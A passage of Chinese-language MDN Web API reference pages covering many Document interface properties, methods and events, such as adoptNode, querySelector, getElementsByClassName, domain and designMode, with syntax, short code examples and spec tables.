  newParent.appendChild(document.adoptNode(imgEl));
});
```

笔记
--

有时候调用 adopNode 可能会失败因为节点资源来自不同的源，但是这不应该是浏览器的实现问题。

In general the `adoptNode` call may fail due to the source node coming from a different implementation, however this should not be a problem with browser implementations.

>
> 译者注：
>
>
> 该方法不但可以从 iframe 中获取 adopt 元素，在同一 document 文档下的不同两个元素中也可以使用，该方法可以实现从左边栏列表中选取某些元素加载到右边栏的功能。
>
>
>

 将外部文档的节点插入当前文档之前，你必须使用 `document.importNode()` 从外部文档导入源节点，或者使用 `document.adoptNode()`导入源节点，
 想要了解更多的 `Node.ownerDocument` 问题，请参考 W3C DOM FAQ.

 即使你不执行导入动作，就执行插入外部文档中的节点.Firefox 目前也不会报错 (如果严格按标准执行，很多已有的网站都无法正常运行).
 我们鼓励开发者严格按标准修改自己已有的不符合上述标准的代码。

规范
--

* DOM Level 3 Core: Document.adoptNode
参见
--

* document.importNode


document.linkColor - Web API 接口参考

document.linkColor
==================

### 概述

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

 `linkColor` 用来获取和设置文档内链接元素 (<a>) 的颜色。### 语法
```

color = document.linkColor
document.linkColor = color
```

### 参数

* `color` 是一个代表颜色的字符串 (比如"red","blue"等),或者是一个 16 进制 rgb 颜色值 (比如"`#ff0000`").
### 备注

在 Mozilla Firefox 中，该属性的默认值是 blue(`或者说是#0000ee` ).

`document.linkColor`在 DOM Level 2 HTML 中已被废弃.

替代方案是在链接元素上 HTML anchor (<a>) 使用 css `color` 属性，(比如`a {color:red;}`) 或者 `:link` 伪类 ,(比如`:link {color:red;}`).

另一种方法是使用 `document.body.link`, 该属也在HTML 4.01中被废弃。

### 例子
```

document.linkColor = "blue";
```

### 规范

* `document.vlinkColor` (en-US)
* `document.alinkColor`


Document：scroll 事件 - Web API 接口参考

Document：scroll 事件
==================

当文档视图滚动后，**`scroll`** 事件就会触发。要检测滚动何时结束，请参阅 Document：scrollend 事件 (en-US)。关于元素滚动，请参见 Element：scroll 事件。

语法
--

在类似于 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("scroll", (event) => {});

onscroll = (event) => {};
```

事件类型
----

通用的 `Event`。

示例
--

### Scroll 事件限流

由于 `scroll` 事件可被高频触发，事件处理器不应该执行高性能消耗的操作，如 DOM 操作。而更推荐的做法是使用 `requestAnimationFrame()`、`setTimeout()` 或 `CustomEvent` 给事件限流，如下所述。

然而需要注意的是，输入事件和动画帧的触发速度大致相同，因此通常不需要下述优化。此示例使用 `requestAnimationFrame` 优化 `scroll` 事件。

```js
let lastKnownScrollPosition = 0;
let ticking = false;

function doSomething(scrollPos) {
  // 利用滚动位置完成一些事情
}

document.addEventListener("scroll", (event) => {
  lastKnownScrollPosition = window.scrollY;

  if (!ticking) {
    window.requestAnimationFrame(() => {
      doSomething(lastKnownScrollPosition);
      ticking = false;
    });

    ticking = true;
  }
});
```

规范
--

| Specification |
| --- |
| CSSOM View Module # eventdef-document-scroll |
| HTML Standard # handler-onscroll |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* Document：`scrollend` 事件 (en-US)
* Element：`scroll` 事件
* Element：`scrollend` 事件 (en-US)


document.documentURI - Web API 接口参考

document.documentURI
====================

`Document` 接口的属性 **`documentURI`** 以字符串的形式返回文档的位置（location）。在最初的 DOM3 定义中，这个属性是可读/写的。在现代的 DOM 标准（DOM4）中，它是只读的。语法
--
```

var string = document.documentURI;
```

备注
--

HTML 文档有一个 `document.URL` 属性返回同样的值。但是不像 `URL`，`documentURI` 适用于所有类型的文档。

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-documenturi① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.close() - Web API 接口参考

Document.close()
================

**`Document.close()`** 用于结束由 对文档的 `Document.write()` 写入操作，这种写入操作一般由 `Document.open()` 打开。

语法
--
```

document.close();
```

例子
--
```

// 打开一个文档，以便写入数据
document.open();

// 写入文档内容
document.write("<p>文档内容~</p>");

// 关闭文档
document.close();
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-close-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


document.writeln - Web API 接口参考

document.writeln
================

### 概述

向文档中写入一串文本，并紧跟着一个换行符。

### 语法
```

document.writeln(line);
```

### 参数

* `line` 为包含文本的字符串
### 示例
```

document.writeln("<p>enter password:</p>");
```

### 备注

**document.writeln** 和 document.write 一样，但是会添加一个换行符。

**备注：** **document.writeln** (like **document.write**) does not work in XHTML documents (you'll get a "Operation is not supported" (`NS_ERROR_DOM_NOT_SUPPORTED_ERR`) error on the error console). This is the case if opening a local file with a .xhtml file extension or for any document served with an application/xhtml+xml MIME type. More information is available in the W3C XHTML FAQ.

### 规范

writeln


Document() - Web API 接口参考

Document()
==========

**`Document`** 构造器创建一个新的 `Document` 对象，该对象是在浏览器中加载的页面，并作为页面内容的入口点。

语法
--
```

new Document();
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-document① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.body - Web API 接口参考

Document.body
=============

**`Document.body`** 表示当前文档中的 `<body>` 或 `<frameset>` 元素，如果不存在此类元素，则为 `null`。

值
-

以下之一：

* `<body>`
* `<frameset>`
* `null`
示例
--

```js
// 如果 HTML 结构为：<body id="oldBodyElement"></body>
alert(document.body.id); // "oldBodyElement"

var aNewBodyElement = document.createElement("body");

aNewBodyElement.id = "newBodyElement";
document.body = aNewBodyElement;
alert(document.body.id); // "newBodyElement"
```

备注
--

`document.body` 是包含当前页面内容的元素，对于拥有 `<body>` 元素的文档来说，返回的是 `<body>` 元素，对于拥有 `<frameset>` 元素的文档来说，返回的是最外层的 `<frameset>` 元素。

`body` 属性是可写的，如果为一个文档设置一个新的 body，当前 `<body>` 中存在的所有子元素都将被有效地移除。

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-body-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `document.head`


Document.getElementsByClassName() - Web API 接口参考

Document.getElementsByClassName()
=================================

返回一个包含了所有指定类名的子元素的类数组对象。当在 document 对象上调用时，会搜索整个 DOM 文档，包含根节点。你也可以在任意元素上调用`getElementsByClassName()` 方法，它将返回的是以当前元素为根节点，所有指定类名的子元素。

语法
--
```

var elements = document.getElementsByClassName(names); // or:
var elements = rootElement.getElementsByClassName(names);
```

* *elements* 是一个实时`集合`，包含了找到的所有元素。
* *names* 是一个字符串，表示要匹配的类名列表；类名通过空格分隔
* getElementsByClassName 可以在任何元素上调用，不仅仅是 document。调用这个方法的元素将作为本次查找的根元素。
示例
--

获取所有 class 为 'test' 的元素：

```js
document.getElementsByClassName("test");
```

获取所有 class 同时包括 'red' 和 'test' 的元素。

```js
document.getElementsByClassName("red test");
```

在 id 为'main'的元素的子节点中，获取所有 class 为'test'的元素

```js
document.getElementById("main").getElementsByClassName("test");
```

我们还可以对任意的 `HTMLCollection` 使用 Array.prototype 的方法，调用时传递 *HTMLCollection* 作为方法的参数。这里我们将查找到所有 class 为 'test' 的 div 元素：

```js
var testElements = document.getElementsByClassName("test");
var testDivs = Array.prototype.filter.call(
  testElements,
  function (testElement) {
    return testElement.nodeName === "DIV";
  },
);
```

### 获取第一个类名为 test 的元素

这是 `getElementsByClassName()` 的通常用法：

```html
<html>
  <body>
    <div id="parent-id">
      <p>hello world 1</p>
      <p class="test">hello world 2</p>
      <p>hello world 3</p>
      <p>hello world 4</p>
    </div>

    <script>
 var parentDOM = document.getElementById("parent-id");

 var test = parentDOM.getElementsByClassName("test"); // 匹配类名的元素集合，不是元素本身
 console.log(test); //HTMLCollection[1]

 var testTarget = parentDOM.getElementsByClassName("test")[0]; // 我们想要取到的第一个元素
 console.log(testTarget); //<p class="test">hello world 2</p>
 </script>
  </body>
</html>
```

多个 Class 示例
-----------

`document.getElementsByClassName` 的工作方式与 `document.querySelector` 和 `document.querySelectorAll` 很相似。只有所有 className 都匹配的元素会被选择。

### HTML

```html
<span class="orange fruit">Orange Fruit</span>
<span class="orange juice">Orange Juice</span>
<span class="apple juice">Apple Juice</span>
<span class="foo bar">Something Random</span>
<textarea id="resultArea" style="width:100%;height:7em"></textarea>
```

### JavaScript

```js
// getElementsByClassName selects partial matches
var allOrangeJuiceByClass = document.getElementsByClassName("orange juice");
var result = "document.getElementsByClassName('orange juice')";
for (
  var i = 0, len = allOrangeJuiceByClass.length | 0;
  i < len;
  i = (i + 1) | 0
) {
  result += "\n " + allOrangeJuiceByClass[i].textContent;
}

// querySelector only selects full complete matches
var allOrangeJuiceQuery = document.querySelectorAll(".orange.juice");
result += "\n\ndocument.querySelectorAll('.orange.juice')";
for (
  var i = 0, len = allOrangeJuiceQuery.length | 0;
  i < len;
  i = (i + 1) | 0
) {
  result += "\n " + allOrangeJuiceQuery[i].textContent;
}

document.getElementById("resultArea").value = result;
```

### 结果

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-getelementsbyclassname① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


document.documentElement - Web API 接口参考

document.documentElement
========================

**`Document.documentElement`** 是一个会返回文档对象（`document`）的根`元素`的只读属性（如 HTML 文档的 `<html>` 元素）。

语法
--
```

var element = document.documentElement;
```

示例
--

```js
const rootElement = document.documentElement;
const firstTier = rootElement.childNodes;

// firstTier 是由根元素的所有子节点组成的一个 NodeList
for (let i = 0; i < firstTier.length; i++) {
  // 使用根节点的每个子节点
  // 如 firstTier[i]
}
```

备注
--

对于任何非空 HTML 文档，调用 `document.documentElement` 总是会返回一个 `<html>` 元素，且它一定是该文档的根元素。借助这个只读属性，能方便地获取到任意文档的根元素。

HTML 文档通常包含一个子节点 `<html>`，但在它前面可能还有个 DOCTYPE 声明。XML 文档通常包含多个子节点：根元素，DOCTYPE 声明，和 processing instructions (en-US)。

所以，应当使用 `document.documentElement` 来获取根元素，而不是 `document.firstChild`。

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-documentelement① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


document.applets - Web API 接口参考

document.applets
================

### 概述

`applets` 按顺序返回当前文档中所有的`applet`对象。

### 语法
```

nodeList = document.applets
```

### 例子
```

my_java_app = document.applets[1]; //获取当前页面的第二个 applet 对象。
```

### 规范

DOM Level 2 HTML: applets


Document.getElementsByTagName() - Web API 接口参考

Document.getElementsByTagName()
===============================

返回一个包括所有给定标签名称的元素的 HTML 集合`HTMLCollection`。整个文件结构都会被搜索，包括根节点。返回的 `HTML 集合`是动态的，意味着它可以自动更新自己来保持和 DOM 树的同步而不用再次调用 `document.getElementsByTagName()`。

语法
--
```

var elements = document.getElementsByTagName(name);
```

* `elements` 是一个由发现的元素出现在树中的顺序构成的动态的 HTML 集合 `HTMLCollection` (但是看下面的提示) 。
* `name` 是一个代表元素的名称的字符串。特殊字符 "\*" 代表了所有元素。

**备注：** 最新的 W3C 规范 说明这些元素是 `HTMLCollection`（HTML 集合）；然而，这个方法在 WebKit 内核的浏览器中返回一个 `NodeList` 。更多详情请查看 Firefox bug 14869 。

例子
--

在以下的例子中，`getElementsByTagName()` 开始于一个具体的父级元素并且从它自上而下递归地在`DOM 树中`搜索符合标签名称参数的子元素。

注意调用 `getElementsByTagName()` 的不是那个文件节点 document，事实上是使用这个方法 `element.getElementsByTagName()`。

```html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>getElementsByTagName example</title>
    <script>
 function getAllParaElems() {
 var allParas = document.getElementsByTagName("p");
 var num = allParas.length;
 alert("There are " + num + " paragraph in this document");
 }

 function div1ParaElems() {
 var div1 = document.getElementById("div1");
 var div1Paras = div1.getElementsByTagName("p");
 var num = div1Paras.length;
 alert("There are " + num + " paragraph in #div1");
 }

 function div2ParaElems() {
 var div2 = document.getElementById("div2");
 var div2Paras = div2.getElementsByTagName("p");
 var num = div2Paras.length;
 alert("There are " + num + " paragraph in #div2");
 }
 </script>
  </head>
  <body style="border: solid green 3px">
    <p>Some outer text</p>
    <p>Some outer text</p>

    <div id="div1" style="border: solid blue 3px">
      <p>Some div1 text</p>
      <p>Some div1 text</p>
      <p>Some div1 text</p>

      <div id="div2" style="border: solid red 3px">
        <p>Some div2 text</p>
        <p>Some div2 text</p>
      </div>
    </div>

    <p>Some outer text</p>
    <p>Some outer text</p>

    <button onclick="getAllParaElems();">show all p elements in document</button
 ><br />

    <button onclick="div1ParaElems();">
      show all p elements in div1 element</button
 ><br />

    <button onclick="div2ParaElems();">
      show all p elements in div2 element
    </button>
  </body>
</html>
```

注意
--

当在一个 HTML 文件上执行时， `getElementsByTagName()` 会在执行前把参数转换为小写字母。这是试着在一个 HTML 文件的子树匹配驼峰命名法的 SVG 元素时不希望的。 `document.getElementsByTagNameNS()` 在那种情况下会有用。请查看 Firefox bug 499656。

`document.getElementsByTagName()` 类似于 `element.getElementsByTagName()`，除了它会搜索整个文档这点。

参考
--

* DOM Level 2 Core: Document.getElementsByTagName
* HTML 5: APIs in HTML documents


Document.domain - Web API 接口参考

Document.domain
===============

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

`Document` 接口的 **`domain`** 属性获取/设置当前文档的原始域部分，常用于同源策略。

如果成功设置此属性，则原始端口的端口部分也将设置为 `null`.

语法
--
```

var domainString = document.domain;
document.domain = domainString;
```

### 值

当前文档来源的域部分。

### 异常

安全错误

已尝试在以下情况之一下设置域：

* 文件在 html 中的 iframe 元素里
* 该文件没有参考上下文
* 该文档的有效域为 null
* 给定值不等于文档的有效域（或者它不是该域的可注册域后缀）
* The `document-domain` (en-US) `Permissions-Policy`一启用

示例
--

### 获取域名

对于 URI `http://developer.mozilla.org/zh-CN/docs/Web`，此示例将 currentDomain 设置为字符串 `developer.mozilla.org`。

```js
var currentDomain = document.domain;
```

### 关闭窗口

如果文档（例如 www.example.xxx/good.html）的域为“www.example.xxx”，则本示例将尝试关闭窗口。

```js
var badDomain = "www.example.xxx";

if (document.domain == badDomain) {
  // 这只是一个示例 - 有时 window.close() 是没有效果的
  window.close();
}
```

规范
--

| Specification |
| --- |
| HTML Standard # relaxing-the-same-origin-restriction |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### Firefox 备注

如果当前文档的域无法识别，那么 domain 属性会返回 null。但这个表现在 Firefox 62 时发生了更改——详见 Firefox bug 819475 中的讨论。

在根域名范围内，Mozilla 允许你把 domain 属性的值设置为它的上一级域。例如，在 developer.mozilla.org 域内，可以把 domain 设置为 "mozilla.org" 但不能设置为 "mozilla.com" 或者"org"。

Mozilla 会区分 `document.domain` 属性 **从没有被设定过值** 和 **被显示的设定为跟该文档的 URL 的 domain 一致的值**，尽管这两种状况下，该属性会返回同样的值。两个文档，只有在 `document.domain` 都被设定为同一个值，表明他们打算协作；或者都没有设定 `document.domain` 属性并且 URL 的域是一致的 (如何判断一致)，这两种条件下，一个文档才可以去访问另一个文档。如果没有这个特殊的策略，每一个站点都会成为他的子域的 XSS 攻击的对象（例如，https://bugzilla.mozilla.org 可以被来自 https://bug\*.bugzilla.mozilla.org 站点的 bug 附件攻击）。

参见
--

* Same origin policy for JavaScript


Document.createProcessingInstruction() - Web API 接口参考

Document.createProcessingInstruction()
======================================

`createProcessingInstruction()` 创建一个新的处理指令节点，并返回。

Syntax
------
```

Processing instruction node = document.createProcessingInstruction(target, data)
```

### Parameters

* `Processing Instruction node` 是 `ProcessingInstruction` (en-US) 节点。
* `target` 是指处理指令节点的 target 部分 (i.e., <?*target* ... ?>
* `data` 是一个字符串，包含了将要添加到节点内的数据。
### 异常

`NOT_SUPPORTED_ERR`

Thrown if you attempt to create a processing instruction node on an HTML document in Gecko 9 or earlier. In Gecko 10.0 and later, you can use this method on HTML documents.

`DOM_INVALID_CHARACTER`

Thrown if you try to add an invalid processing instruction target (it should be an XML name besides any case combination of the letters "xml") or if the closing processing instruction sequence ("?>") is added as part of the data, so unescaped user-provided data cannot be safely used without escaping or otherwise dealing with such situations.

实例
--
```

var docu = new DOMParser().parseFromString('<xml></xml>',  "application/xml")

var pi = docu.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"');

docu.insertBefore(pi, docu.firstChild);

alert(new XMLSerializer().serializeToString(docu));
// 弹出框内容：<?xml-stylesheet href="mycss.css" type="text/css"?><xml/>
```

规范
--

DOM 4: createProcessingInstruction


Document：caretRangeFromPoint() 方法 - Web API 接口参考

Document：caretRangeFromPoint() 方法
=================================

**非标准:** 该特性是非标准的，请尽量不要在生产环境中使用它！

`Document` 接口的 **`caretRangeFromPoint()`** 方法返回指定坐标位置文档片段的 `Range` 对象。

该方法是 `Document.caretPositionFromPoint` 方法的 WebKit 专有实现。

语法
--

```js
caretRangeFromPoint(x, y)
```

### 参数

`x`

当前视口内的水平位置。

`y`

当前视口内的垂直位置。

### 返回值

以下之一：

* 一个 `Range`。
* `Null`，当 *x* 或 *y* 为负数，超出视口范围或者没有包含文本的节点。
示例
--

访问 `Document.caretPositionFromPoint` 页面查看此方法的实时示例。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document：FullScreenElement 属性 - Web API 接口参考

Document：FullScreenElement 属性
=============================

只读属性 **`Document.fullscreenElement`** 返回当前页面中以全屏模式呈现的 `Element`，如果当前页面未使用全屏模式，则返回 `null`。

尽管这个属性是只读的，但如果修改它，即使在严格模式下也不会抛出错误；它的 `setter` 方法是空操作将被忽略。

值
-

返回当前处于全屏模式的 `Element` 对象；如果当前页面未使用全屏模式，则返回 `null`。

示例
--

这个示例展示了一个名为 `isVideoInFullscreen()` 的函数，该函数查看 `fullscreenElement` 返回的值；如果文档处于全屏模式（`fullscreenElement` 不为 `null`）并且全屏元素的 `nodeName` 为 `VIDEO`，表示为 `<video>` 元素，则函数返回 `true`，表示视频处于全屏模式。

```js
function isVideoInFullscreen() {
  if (document.fullscreenElement?.nodeName === "VIDEO") {
    return true;
  }
  return false;
}
```

规范
--

| Specification |
| --- |
| Fullscreen API Standard # ref-for-dom-document-fullscreenelement① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 全屏 API
* 全屏 API 指南
* `Element.requestFullscreen()`
* `Document.exitFullscreen()`
* `Document.fullscreenEnabled`
* `:fullscreen` 和 `::backdrop`
* `<iframe>` `allowfullscreen` 属性


document.all - Web API 接口参考

document.all
============

**HTML5:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

`Document` 接口上的一个只读属性。返回一个 `HTMLAllCollection` (en-US)，包含了页面上的所有元素。

语法
--
```

var htmlAllCollection = document.all;
```

### 值

返回一个 `HTMLAllCollection` (en-US)，包含了页面上的所有元素。

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-all |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


document.querySelector() - Web API 接口参考

document.querySelector()
========================

文档对象模型`Document`引用的 **`querySelector()`** 方法返回文档中与指定选择器或选择器组匹配的第一个 `Element`对象。如果找不到匹配项，则返回`null`。

**备注：** 匹配是使用深度优先先序遍历，从文档标记中的第一个元素开始，并按子节点的顺序依次遍历。

语法
--

```js
element = document.querySelector(selectors);
```

### 参数

`selectors`

包含一个或多个要匹配的选择器的 DOM 字符串`DOMString`。该字符串必须是有效的 CSS 选择器字符串；如果不是，则引发`SYNTAX_ERR`异常。请参阅使用选择器定位 DOM 元素以获取有关选择器以及如何管理它们的更多信息。

**备注：** 必须使用反斜杠字符转义不属于标准 CSS 语法的字符。由于 JavaScript 也使用退格转义，因此在使用这些字符编写字符串文字时必须特别小心。有关详细信息，请参阅转义特殊字符。

### 返回值

表示文档中与指定的一组 CSS 选择器匹配的第一个元素，一个 `Element`对象。如果没有匹配到，则返回 null。

如果你需要与指定选择器匹配的所有元素的列表，则应该使用`querySelectorAll()` 。

### 异常

`SYNTAX_ERR`

指定`selectors`的语法无效。

注意
--

如果选择器是一个 ID，并且这个 ID 在文档中错误地使用了多次，那么返回第一个匹配该 ID 的元素。

CSS 伪类不会返回任何元素，见 Selectors API 中的相关规定。

### 转义特殊字符

如果要匹配的 ID 或选择器不符合 CSS 语法（比如不恰当地使用了冒号或者空格），你必须用反斜杠将这些字符转义。由于 JavaScript 中，反斜杠是转义字符，所以当你输入一个文本串时，你必须将它转义两次（一次是为 JavaScript 字符串转义，另一次是为 `querySelector` 转义）：

```html
<div id="foo\bar"></div>
<div id="foo:bar"></div>

<script>
 console.log("#foo\bar"); // "#fooar"
 document.querySelector("#foo\bar"); // 不匹配任何元素

 console.log("#foo\\bar"); // "#foo\bar"
 console.log("#foo\\\\bar"); // "#foo\\bar"
 document.querySelector("#foo\\\\bar"); // 匹配第一个 div

 document.querySelector("#foo:bar"); // 不匹配任何元素
 document.querySelector("#foo\\:bar"); // 匹配第二个 div
</script>
```

示例
--

### 查找第一个匹配 class 属性的 html 元素

这个例子中，会返回当前文档中第一个类名为 "`myclass`" 的元素：

```js
var el = document.querySelector(".myclass");
```

### 一个更复杂的选择器

*选择器也可以非常强大，如以下示例所示*.

这里，一个 class 属性为"user-panel main"的 div 元素`<div>`(`<div class="user-panel main">`) 内包含一个 name 属性为"login"的 input 元素`<input>` (`<input name="login"/>`) ，如何选择，如下所示：

```js
var el = document.querySelector("div.user-panel.main input[name='login']");
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-parentnode-queryselector① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* Locating DOM elements using selectors
* `Element.querySelector()`
* `Document.querySelectorAll()`
* `Element.querySelectorAll()`


document.embeds - Web API 接口参考

document.embeds
===============

`Document`接口的只读属性`embeds` 返回当前文档内的<embed>**HTML** `<object>`元素列表

语法
--
```

nodeList = document.embeds
```

### 值

一个 `HTMLCollection`类型的值

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-embeds-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.designMode - Web API 接口参考

Document.designMode
===================

**`document.designMode`** 控制整个文档是否可编辑。有效值为 `"on"` 和 `"off"` 。根据规范，该属性默认为 `"off"` 。Firefox 遵循此标准。早期版本的 Chrome 和 IE 默认为 `"inherit"` 。从 Chrome 43 开始，默认值为 `"off"` ，并且不再支持 `"inherit"`。在 IE6 到 IE10 中，该值为大写。

语法
--
```

var mode = document.designMode;
document.designMode = "on" || "off";
```

示例
--

使一个 `<iframe>` 的文档可编辑：

```js
iframeNode.contentDocument.designMode = "on";
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-designmode-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* Mozilla 软件中的富文本编辑
* `HTMLElement.contentEditable`


document.fgColor - Web API 接口参考

document.fgColor
================

### 概述

**已弃用:** 不再推荐使用该特性。虽然一些浏览器仍然支持它，但也许已从相关的 web 标准中移除，也许正准备移除或出于兼容性而保留。请尽量不要使用该特性，并更新现有的代码；参见本页面底部的兼容性表格以指导你作出决定。请注意，该特性随时可能无法正常工作。

 `fgColor` 属性用来获取或设置当前文档的前景色或者文本颜色。### 语法
```

  var color = document.fgColor;
  document.fgColor = color;
```

### 参数

* `color` 是一个颜色值，可以为一个颜色类型，比如"red",或者一个 16 进制 RGB 值，比如 "`#ff0000`".
### 例子
```

document.fgColor = "white";
document.bgColor = "darkblue";
```

### 备注

在 Mozilla Firefox 中，该属性的默认值是黑色.(`black 或者#000000`).

`document.fgColor` 属性已经在DOM Level 2中被废弃。推荐使用的`css`属性为`color` (用法为 `document.body.style.color = "red"`).

另外一个类似的属性是 `document.body.text`, 该属性也在 HTML 4.01 中被废弃，推荐使用 CSS 属性。

### 规范

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document：selectionchange 事件 - Web API 接口参考

Document：selectionchange 事件
===========================

Selection API 的 **`selectionchange`** 事件在当前 `Document` 的 `Selection` 改变时触发。

此事件不可取消，也不会冒泡。

可以通过为 `selectionchange` 添加事件监听器或使用 `onselectionchange` 事件处理器来处理该事件。

**备注：** 此事件与 `<input>` 或 `<textarea>` 元素中的文本选择更改时触发的 `selectionchange` 事件不太相同。有关详细信息，请参阅 `HTMLInputElement.selectionchange_event`。

语法
--

在 `addEventListener()` 等方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("selectionchange", (event) => {});

onselectionchange = (event) => {};
```

事件类型
----

通用 `Event`。

示例
--

```js
// addEventListener 版本
document.addEventListener("selectionchange", () => {
  console.log(document.getSelection());
});

// onselectionchange 版本
document.onselectionchange = () => {
  console.log(document.getSelection());
};
```

规范
--

| Specification |
| --- |
| Selection API # selectionchange-event |
| Selection API # dom-globaleventhandlers-onselectionchange |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `selectstart`
* `Document.getSelection()` (en-US)
* `Selection`


document.hasFocus - Web API 接口参考

document.hasFocus
=================

### 概述

**`Document.hasFocus()`** 方法返回一个 `Boolean`，表明当前文档或者当前文档内的节点是否获得了焦点。该方法可以用来判断当前文档中的活动元素是否获得了焦点。

**备注：** 当查看一个文档时，当前文档中获得焦点的元素一定是当前文档的活动元素，但一个文档中的活动元素不一定获得了焦点.。例如，一个在后台的窗口中的活动元素一定没有获得焦点。

### 语法
```

focused = document.hasFocus();
```

#### 返回值

如果当前文档的活动元素获得了焦点，返回 `true`，否则返回 false。

### 例子

```js
<!DOCTYPE html>
<html>
<head>
  <style type='text/css'>
    #message { font-weight: bold; }
  </style>

<script type='text/javascript'>
      setInterval("CheckPageFocus()", 200);

      function CheckPageFocus() {
            var info = document.getElementById("message");
           if (document.hasFocus()) {
             info.innerHTML = "该页面获得了焦点.";
            }
            else {
             info.innerHTML = "该页面没有获得焦点.";
           }
      }

    function OpenWindow() {
           window.open ("http://developer.mozilla.org/", "mozdev",
                     "width=640, height=300, left=150, top=260");
    }
</script>
</head>

<body>
 document.hasFocus 演示<br /><br />
<div id="message">等待用户操作</div><br />
<button onclick="OpenWindow()">打开一个新窗口</button>
</body>
</html>
```

### 浏览器兼容性

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.createDocumentFragment() - Web API 接口参考

Document.createDocumentFragment()
=================================

创建一个新的空白的文档片段 ( `DocumentFragment` (en-US))。

语法
--
```

let fragment = document.createDocumentFragment();
```

`fragment` 是一个指向空`DocumentFragment`对象的引用。

描述
--

`DocumentFragments` (en-US) 是 DOM 节点。它们不是主 DOM 树的一部分。通常的用例是创建文档片段，将元素附加到文档片段，然后将文档片段附加到 DOM 树。在 DOM 树中，文档片段被其所有的子元素所代替。

因为文档片段存在于**内存中**，并不在 DOM 树中，所以将子元素插入到文档片段时不会引起页面回流（对元素位置和几何上的计算）。因此，使用文档片段通常会带来更好的性能。

示例
--

此示例创建主流 Web 浏览器的列表。

### HTML

```html
<ul id="ul"></ul>
```

### JavaScript

```js
var element = document.getElementById("ul"); // assuming ul exists
var fragment = document.createDocumentFragment();
var browsers = ["Firefox", "Chrome", "Opera", "Safari", "Internet Explorer"];

browsers.forEach(function (browser) {
  var li = document.createElement("li");
  li.textContent = browser;
  fragment.appendChild(li);
});

element.appendChild(fragment);
```

### 结果

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-createdocumentfragment① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `document.implementation.createDocument()`
* `documentFragment`


document.releaseCapture - Web API 接口参考

document.releaseCapture
=======================

### 概述

如果该 document 中的一个元素之上当前启用了鼠标捕获，则释放鼠标捕获。通过调用 `element.setCapture()` 实现在一个元素上启用鼠标捕获。

### 语法
```

document.releaseCapture()
```

一旦释放鼠标捕获，鼠标事件将不再全部被定向到启用了鼠标捕获的元素。

### 示例

请参见 `element.setCapture()` 的 示例

### 规范

基于 Internet Explorer 的实现。

### 参见

* `element.setCapture()`


Document.plugins - Web API 接口参考

Document.plugins
================

`Document`接口的**插件**只读属性返回一个`HTMLCollection` 对象，该对象包含一个或多个`HTMLEmbedElement` (en-US)s 表示当前文档中的`<embed>` 元素。

**备注：** 对于已安装的插件列表，请使用 NavigatorPlugins.plugins (en-US) 插件。

语法
--
```

embedArrayObj = document.plugins
```

### 值

一个 `HTMLCollection`, 如果文档中没有嵌入则为 null。

规范
--

| Specification |
| --- |
| HTML Standard # dom-document-plugins-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

另请参见
----

* MSDN documentation


DocumentOrShadowRoot.activeElement - Web API 接口参考

DocumentOrShadowRoot.activeElement
==================================

`Document` 和 `ShadowRoot` 接口的 **`activeElement`** 只读属性，用来返回当前在 DOM 或者 shadow DOM 树中处于聚焦状态的`Element`。

